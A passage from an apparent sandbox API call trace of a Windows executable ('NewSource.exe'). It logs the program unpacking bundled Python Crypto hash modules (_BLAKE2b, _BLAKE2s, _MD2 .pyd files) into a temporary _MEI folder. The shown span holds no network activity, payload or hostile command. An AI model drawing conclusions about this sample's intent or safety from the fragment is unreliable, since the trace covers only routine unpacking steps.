(dwErrCode=0x0) [0034.477] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash") returned 57 [0034.477] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.477] GetLastError () returned 0x2 [0034.477] SetLastError (dwErrCode=0x2) [0034.477] GetLastError () returned 0x2 [0034.477] SetLastError (dwErrCode=0x2) [0034.477] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash", lpFilePart=0x0) returned 0x38 [0034.477] GetLastError () returned 0x2 [0034.477] SetLastError (dwErrCode=0x2) [0034.477] GetLastError () returned 0x2 [0034.477] SetLastError (dwErrCode=0x2) [0034.477] GetLastError () returned 0x2 [0034.477] SetLastError (dwErrCode=0x2) [0034.477] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), lpSecurityAttributes=0x0) returned 1 [0034.478] GetLastError () returned 0x2 [0034.478] SetLastError (dwErrCode=0x2) [0034.478] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_BLAKE2b.pyd") returned 70 [0034.478] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_BLAKE2b.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_blake2b.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.478] GetLastError () returned 0x2 [0034.478] SetLastError (dwErrCode=0x2) [0034.478] GetLastError () returned 0x2 [0034.478] SetLastError (dwErrCode=0x2) [0034.478] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_BLAKE2b.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_BLAKE2b.pyd", lpFilePart=0x0) returned 0x45 [0034.478] GetLastError () returned 0x2 [0034.478] SetLastError (dwErrCode=0x2) [0034.478] GetLastError () returned 0x2 [0034.478] SetLastError (dwErrCode=0x2) [0034.478] GetLastError () returned 0x2 [0034.478] SetLastError (dwErrCode=0x2) [0034.478] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_BLAKE2b.pyd") returned 70 [0034.478] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.478] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_BLAKE2b.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_blake2b.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.479] GetFileType (hFile=0x10c) returned 0x1 [0034.479] htonl (hostlong=0x2a0000) returned 0x2a00 [0034.479] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0034.480] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.480] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa00, lpOverlapped=0x0) returned 1 [0034.480] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.480] CloseHandle (hObject=0x10c) returned 1 [0034.481] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.481] htonl (hostlong=0x30000000) returned 0x30 [0034.481] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.481] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.481] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.481] GetFileType (hFile=0x10c) returned 0x1 [0034.482] htonl (hostlong=0x12ff0100) returned 0x1ff12 [0034.482] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6af12, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.482] htonl (hostlong=0xae100000) returned 0x10ae [0034.482] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10ae) returned 0x55d270 [0034.482] htonl (hostlong=0xae100000) returned 0x10ae [0034.482] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0034.482] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.482] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.482] htonl (hostlong=0x220000) returned 0x2200 [0034.482] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2200) returned 0x561090 [0034.482] htonl (hostlong=0xae100000) returned 0x10ae [0034.482] htonl (hostlong=0x220000) returned 0x2200 [0034.482] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563298 [0034.483] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563298 | out: hHeap=0x530000) returned 1 [0034.483] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.483] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.483] CloseHandle (hObject=0x10c) returned 1 [0034.483] GetLastError () returned 0x0 [0034.483] SetLastError (dwErrCode=0x0) [0034.483] GetLastError () returned 0x0 [0034.483] SetLastError (dwErrCode=0x0) [0034.483] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.483] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.483] GetFileType (hFile=0x10c) returned 0x1 [0034.483] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.483] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.483] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.483] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.483] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.483] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.483] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.483] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.483] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.483] CloseHandle (hObject=0x10c) returned 1 [0034.484] GetLastError () returned 0x0 [0034.484] SetLastError (dwErrCode=0x0) [0034.484] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash") returned 57 [0034.484] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.484] GetFileType (hFile=0x10c) returned 0x1 [0034.484] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.484] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.485] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.485] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.485] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.485] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.485] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.485] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.485] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.485] CloseHandle (hObject=0x10c) returned 1 [0034.485] GetLastError () returned 0x0 [0034.485] SetLastError (dwErrCode=0x0) [0034.485] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_BLAKE2s.pyd") returned 70 [0034.485] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_BLAKE2s.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_blake2s.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.485] GetLastError () returned 0x2 [0034.485] SetLastError (dwErrCode=0x2) [0034.485] GetLastError () returned 0x2 [0034.485] SetLastError (dwErrCode=0x2) [0034.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_BLAKE2s.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_BLAKE2s.pyd", lpFilePart=0x0) returned 0x45 [0034.485] GetLastError () returned 0x2 [0034.485] SetLastError (dwErrCode=0x2) [0034.485] GetLastError () returned 0x2 [0034.485] SetLastError (dwErrCode=0x2) [0034.485] GetLastError () returned 0x2 [0034.485] SetLastError (dwErrCode=0x2) [0034.485] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_BLAKE2s.pyd") returned 70 [0034.485] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.486] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_BLAKE2s.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_blake2s.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.486] GetFileType (hFile=0x10c) returned 0x1 [0034.486] htonl (hostlong=0x220000) returned 0x2200 [0034.486] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0034.490] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.490] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x200, lpOverlapped=0x0) returned 1 [0034.490] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.490] CloseHandle (hObject=0x10c) returned 1 [0034.491] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.492] htonl (hostlong=0x30000000) returned 0x30 [0034.492] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.492] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.492] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.492] GetFileType (hFile=0x10c) returned 0x1 [0034.492] htonl (hostlong=0xc00f0200) returned 0x20fc0 [0034.492] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6bfc0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.492] htonl (hostlong=0x210e0000) returned 0xe21 [0034.492] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe21) returned 0x55d270 [0034.492] htonl (hostlong=0x210e0000) returned 0xe21 [0034.492] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.493] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.493] htonl (hostlong=0x1c0000) returned 0x1c00 [0034.493] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c00) returned 0x561090 [0034.493] htonl (hostlong=0x210e0000) returned 0xe21 [0034.493] htonl (hostlong=0x1c0000) returned 0x1c00 [0034.493] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562c98 [0034.493] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562c98 | out: hHeap=0x530000) returned 1 [0034.493] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.493] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.493] CloseHandle (hObject=0x10c) returned 1 [0034.493] GetLastError () returned 0x0 [0034.493] SetLastError (dwErrCode=0x0) [0034.493] GetLastError () returned 0x0 [0034.493] SetLastError (dwErrCode=0x0) [0034.493] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.493] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.494] GetFileType (hFile=0x10c) returned 0x1 [0034.494] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.494] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.494] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.494] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.494] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.494] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.494] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.494] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.494] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.494] CloseHandle (hObject=0x10c) returned 1 [0034.494] GetLastError () returned 0x0 [0034.494] SetLastError (dwErrCode=0x0) [0034.494] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash") returned 57 [0034.494] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.494] GetFileType (hFile=0x10c) returned 0x1 [0034.494] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.494] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.494] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.494] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.494] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.494] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.494] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.494] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.495] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.495] CloseHandle (hObject=0x10c) returned 1 [0034.495] GetLastError () returned 0x0 [0034.495] SetLastError (dwErrCode=0x0) [0034.495] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD2.pyd") returned 66 [0034.495] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD2.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_md2.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.495] GetLastError () returned 0x2 [0034.495] SetLastError (dwErrCode=0x2) [0034.495] GetLastError () returned 0x2 [0034.495] SetLastError (dwErrCode=0x2) [0034.495] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD2.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD2.pyd", lpFilePart=0x0) returned 0x41 [0034.495] GetLastError () returned 0x2 [0034.495] SetLastError (dwErrCode=0x2) [0034.495] GetLastError () returned 0x2 [0034.495] SetLastError (dwErrCode=0x2) [0034.495] GetLastError () returned 0x2 [0034.495] SetLastError (dwErrCode=0x2) [0034.495] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD2.pyd") returned 66 [0034.495] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.495] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_MD2.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_md2.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.495] GetFileType (hFile=0x10c) returned 0x1 [0034.495] htonl (hostlong=0x1c0000) returned 0x1c00 [0034.495] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0034.497] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.497] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc00, lpOverlapped=0x0) returned 1 [0034.497] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.497] CloseHandle (hObject=0x10c) returned 1 [0034.498] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.498] htonl (hostlong=0x30000000) returned 0x30 [0034.498] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, 